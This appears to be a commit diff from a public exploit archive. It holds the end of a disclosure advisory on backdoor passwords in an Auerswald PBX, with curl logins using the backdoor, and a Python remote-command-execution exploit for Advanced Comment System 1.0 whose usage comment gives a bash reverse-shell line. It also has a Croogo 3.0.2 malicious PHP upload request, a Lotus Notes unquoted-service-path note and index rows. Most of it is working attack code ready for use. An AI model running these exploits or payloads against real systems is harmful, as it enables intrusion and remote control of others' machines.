The server returns a session ID for that password and the username
"Admin":
------------------------------------------------------------------------
$ curl --user 'Admin:92fcdd9' --anyauth --include \
https://192.168.1.2/tree
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=MLJHCDLPMXPNKWY; HttpOnly; Path=/
[...]
[{"login":3,"userId":0,"userName":"",[...]}]
------------------------------------------------------------------------
Checking the access level of the session reveals the status
"Administrator":
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=MLJHCDLPMXPNKWY' --include \
https://192.168.1.2/logstatus_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{"logstatus":"Administrator"}
------------------------------------------------------------------------
Workaround
==========
Disable or restrict access to the web-based management interface if
possible.
Fix
===
Upgrade to a firmware version which corrects this vulnerability.
Security Risk
=============
By inspecting the firmware for the COMpact 5500R PBX, attackers can
easily discover two backdoor passwords. One password is for the secret
user account with the username "Schandelah", the other works as an
alternative password for the user "Admin". Using the backdoor, attackers
are granted access to the PBX with the highest privileges, enabling them
to completely compromise the device. The passwords are derived from the
serial number, the current date and the configured language.
The backdoor passwords are not documented. They secretly coexist with a
documented password recovery function supported by the vendor. No way
was found to disable the backdoor access.
All information needed to derive the passwords can be requested over the
network without authentication, so attackers only require network access
to the web-based management interface.
Due to the ease of exploitation and severe consequences, the backdoor
passwords are rated as a high risk.
Timeline
========
2021-08-26 Vulnerability identified
2021-09-01 Customer approved disclosure to vendor
2021-09-10 Vendor notified
2021-09-10 CVE ID requested
2021-09-10 CVE ID assigned
2021-10-05 Vendor provides access to device with fixed firmware
2021-10-11 Vendor provides fixed firmware
2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
2021-12-06 Advisory published
References
==========
[1] https://www.auerswald.de/de/support/download/firmware-compact-5500
[2] https://www.denx.de/wiki/U-Boot
[3] https://www.lighttpd.net
[4] https://ghidra-sre.org
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
=============================
RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/
--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen

65
exploits/php/webapps/50559.py
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@ -1,65 +0,0 @@
# Exploit Title: Advanced Comment System 1.0 - Remote Command Execution (RCE)
# Date: November 30, 2021
# Exploit Author: Nicole Daniella Murillo Mejias
# Version: Advanced Comment System 1.0
# Tested on: Linux
#!/usr/bin/env python3
# DESCRIPTION:
# Commands are Base64 encoded and sent via POST requests to the vulnerable application, the
# response is filtered by the randomly generated alphanumeric string and only command output
# is displayed.
#
# USAGE:
# Execute the script and pass the command to execute as arguments, they can be quoted or unquoted
# If any special characters are used, they should be quoted with single quotes.
#
# Example:
#
# python3 acspoc.py uname -a
# python3 acspoc.py 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'
import sys
import base64
import requests
import random
def generate_string(size):
str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return ''.join(random.choice(str) for i in range(size))
def exploit(cmd):
# TODO: Change the URL to the target host
url = 'http://127.0.0.1/advanced_comment_system/index.php'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
encoded_cmd = base64.b64encode(cmd)
delimiter = generate_string(6).encode()
body = b'ACS_path=php://input%00&cbcmd='
body += encoded_cmd
body += b'&<?php echo " '
body += delimiter
body += b': ".shell_exec(base64_decode($_REQUEST["cbcmd"])); die ?>'
try:
result = requests.post(url=url, headers=headers, data=body)
except KeyboardInterrupt:
print("Keyboard interrupt detected.")
sys.exit()
if f'{delimiter.decode()}: ' in result.text:
position = result.text.find(f"{delimiter.decode()}:") + len(f"{delimiter.decode()}: ")
if len(result.text[position:]) > 0:
print(result.text[position:])
else:
print(f"No output from command '{cmd.decode()}'")
print(f"Response size from target host: {len(result.text)} bytes")
if __name__ == "__main__":
exploit(' '.join(sys.argv[1:]).encode())

72
exploits/php/webapps/50570.txt Normal file
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@ -0,0 +1,72 @@
# Exploit Title: Croogo 3.0.2 - Remote Code Execution (Authenticated)
# Date: 05/12/2021
# Exploit Author: Deha Berkin Bir
# Vendor Homepage: https://croogo.org/
# Software Link: https://downloads.croogo.org/v3.0.2.zip
# Version: 3.0.2
# Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3
==> Tutorial <==
1- Login with your privileged account.
2- Go to the 'Attachments' section. Directory is '/admin/file-manager/attachments'.
3- Click the 'New Attachment' button.
4- Choose a malicious php script and upload it.
########### EXAMPLE SOURCE CODE OF MALICIOUS PHP SCRIPT ####################
<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>
############################################################################
5- Click on the URL of malicious php script you uploaded.
6- The malicious PHP script will be executed.
==> HTTP Request (File Upload) <==
POST /admin/file-manager/attachments/add HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7028631106888453201670373694
Content-Length: 976
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/admin/file-manager/attachments/add
Cookie: csrfToken=bf693e75da3b8cfedb1e097485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb; CAKEPHP=do6gfdgwsl424dabvg1mqp9; GeniXCMS-pJSRyfdghoBRVTDlKhjklmkfhtkbup1r; PHPSESSID=gd59dfghhhg2n10amijq89hih
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_method"
POST
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_csrfToken"
bf693ebed78cee03265197aed57e994e70d7qwdfq231341234dsfasdf2397485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/octet-stream
<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_Token[fields]"
16ade00fae1eb7183f11fe75ed658ae4ec2a5921%3A
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_Token[unlocked]"
-----------------------------7028631106888453201670373694--

28
exploits/windows/local/50566.txt Normal file
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@ -0,0 +1,28 @@
# Exploit Title: HCL Lotus Notes V12- Unquoted Service Path
# Exploit Author: Mert DAŞ
# Version: V12
# Date: 01/12/2021
# Vendor Homepage: https://www.hcltechsw.com/domino/download
# Tested on: Windows 10
ProcessId : 3860
Name : LNSUSvc
DisplayName : HCL Notes Smart Upgrade Hizmeti
PathName : c:\HCL\Notes\SUService.exe
StartName : LocalSystem
StartMode : Auto
State : Running
Discovery
-------------------------
C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
#Exploit:
A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.

7
files_exploits.csv
View file

@ -11422,6 +11422,7 @@ id,file,description,date,author,type,platform,port
50541,exploits/linux/local/50541.c,"Linux Kernel 5.1.x - 'PTRACE_TRACEME' pkexec Local Privilege Escalation (2)",1970-01-01,"Ujas Dhami",local,linux, 50541,exploits/linux/local/50541.c,"Linux Kernel 5.1.x - 'PTRACE_TRACEME' pkexec Local Privilege Escalation (2)",1970-01-01,"Ujas Dhami",local,linux,
50545,exploits/windows/local/50545.txt,"HTTPDebuggerPro 9.11 - Unquoted Service Path",1970-01-01,"Aryan Chehreghani",local,windows, 50545,exploits/windows/local/50545.txt,"HTTPDebuggerPro 9.11 - Unquoted Service Path",1970-01-01,"Aryan Chehreghani",local,windows,
50558,exploits/windows/local/50558.txt,"MilleGPG5 5.7.2 Luglio 2021 - Local Privilege Escalation",1970-01-01,"Alessandro Salzano",local,windows, 50558,exploits/windows/local/50558.txt,"MilleGPG5 5.7.2 Luglio 2021 - Local Privilege Escalation",1970-01-01,"Alessandro Salzano",local,windows,
50566,exploits/windows/local/50566.txt,"HCL Lotus Notes V12 - Unquoted Service Path",1970-01-01,"Mert Daş",local,windows,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",1970-01-01,kralor,remote,windows,80 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",1970-01-01,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",1970-01-01,RoMaNSoFt,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",1970-01-01,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",1970-01-01,"Marcin Wolak",remote,windows,139 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",1970-01-01,"Marcin Wolak",remote,windows,139
@ -18571,6 +18572,10 @@ id,file,description,date,author,type,platform,port
50407,exploits/hardware/remote/50407.py,"Cypress Solutions CTM-200/CTM-ONE - Hard-coded Credentials Remote Root (Telnet/SSH)",1970-01-01,LiquidWorm,remote,hardware, 50407,exploits/hardware/remote/50407.py,"Cypress Solutions CTM-200/CTM-ONE - Hard-coded Credentials Remote Root (Telnet/SSH)",1970-01-01,LiquidWorm,remote,hardware,
50408,exploits/hardware/remote/50408.txt,"Cypress Solutions CTM-200 2.7.1 - Root Remote OS Command Injection",1970-01-01,LiquidWorm,remote,hardware, 50408,exploits/hardware/remote/50408.txt,"Cypress Solutions CTM-200 2.7.1 - Root Remote OS Command Injection",1970-01-01,LiquidWorm,remote,hardware,
50539,exploits/linux/remote/50539.py,"GNU gdbserver 9.2 - Remote Command Execution (RCE)",1970-01-01,"Roberto Gesteira Miñarro",remote,linux, 50539,exploits/linux/remote/50539.py,"GNU gdbserver 9.2 - Remote Command Execution (RCE)",1970-01-01,"Roberto Gesteira Miñarro",remote,linux,
50565,exploits/hardware/remote/50565.txt,"Auerswald COMfortel 2.8F - Authentication Bypass",1970-01-01,"RedTeam Pentesting GmbH",remote,hardware,
50567,exploits/hardware/remote/50567.txt,"Auerswald COMpact 8.0B - Privilege Escalation",1970-01-01,"RedTeam Pentesting GmbH",remote,hardware,
50568,exploits/hardware/remote/50568.txt,"Auerswald COMpact 8.0B - Arbitrary File Disclosure",1970-01-01,"RedTeam Pentesting GmbH",remote,hardware,
50569,exploits/hardware/remote/50569.txt,"Auerswald COMpact 8.0B - Multiple Backdoors",1970-01-01,"RedTeam Pentesting GmbH",remote,hardware,
6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php, 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",1970-01-01,Spoofed,webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",1970-01-01,Spoofed,webapps,php,
@ -44648,8 +44653,8 @@ id,file,description,date,author,type,platform,port
50556,exploits/php/webapps/50556.py,"Laundry Booking Management System 1.0 - Remote Code Execution (RCE)",1970-01-01,"Pablo Santiago",webapps,php, 50556,exploits/php/webapps/50556.py,"Laundry Booking Management System 1.0 - Remote Code Execution (RCE)",1970-01-01,"Pablo Santiago",webapps,php,
50560,exploits/php/webapps/50560.txt,"Online Pre-owned/Used Car Showroom Management System 1.0 - SQLi Authentication Bypass",1970-01-01,"Mohamed habib Smidi",webapps,php, 50560,exploits/php/webapps/50560.txt,"Online Pre-owned/Used Car Showroom Management System 1.0 - SQLi Authentication Bypass",1970-01-01,"Mohamed habib Smidi",webapps,php,
50557,exploits/php/webapps/50557.txt,"Online Enrollment Management System in PHP and PayPal 1.0 - 'U_NAME' Stored Cross-Site Scripting",1970-01-01,"Tushar Jadhav",webapps,php, 50557,exploits/php/webapps/50557.txt,"Online Enrollment Management System in PHP and PayPal 1.0 - 'U_NAME' Stored Cross-Site Scripting",1970-01-01,"Tushar Jadhav",webapps,php,
50559,exploits/php/webapps/50559.py,"Advanced Comment System 1.0 - Remote Command Execution (RCE)",1970-01-01,"Murillo Mejias",webapps,php,
50561,exploits/php/webapps/50561.txt,"Online Magazine Management System 1.0 - SQLi Authentication Bypass",1970-01-01,"Mohamed habib Smidi",webapps,php, 50561,exploits/php/webapps/50561.txt,"Online Magazine Management System 1.0 - SQLi Authentication Bypass",1970-01-01,"Mohamed habib Smidi",webapps,php,
50562,exploits/php/webapps/50562.txt,"WordPress Plugin All-in-One Video Gallery plugin 2.4.9 - Local File Inclusion (LFI)",1970-01-01,"Mohamed Magdy Abumusilm",webapps,php, 50562,exploits/php/webapps/50562.txt,"WordPress Plugin All-in-One Video Gallery plugin 2.4.9 - Local File Inclusion (LFI)",1970-01-01,"Mohamed Magdy Abumusilm",webapps,php,
50563,exploits/php/webapps/50563.txt,"WordPress Plugin Slider by Soliloquy 2.6.2 - 'title' Stored Cross Site Scripting (XSS) (Authenticated)",1970-01-01,"Abdurrahman Erkan",webapps,php, 50563,exploits/php/webapps/50563.txt,"WordPress Plugin Slider by Soliloquy 2.6.2 - 'title' Stored Cross Site Scripting (XSS) (Authenticated)",1970-01-01,"Abdurrahman Erkan",webapps,php,
50564,exploits/php/webapps/50564.txt,"WordPress Plugin DZS Zoomsounds 6.45 - Arbitrary File Read (Unauthenticated)",1970-01-01,"Uriel Yochpaz",webapps,php, 50564,exploits/php/webapps/50564.txt,"WordPress Plugin DZS Zoomsounds 6.45 - Arbitrary File Read (Unauthenticated)",1970-01-01,"Uriel Yochpaz",webapps,php,
50570,exploits/php/webapps/50570.txt,"Croogo 3.0.2 - Remote Code Execution (Authenticated)",1970-01-01,"Deha Berkin Bir",webapps,php,

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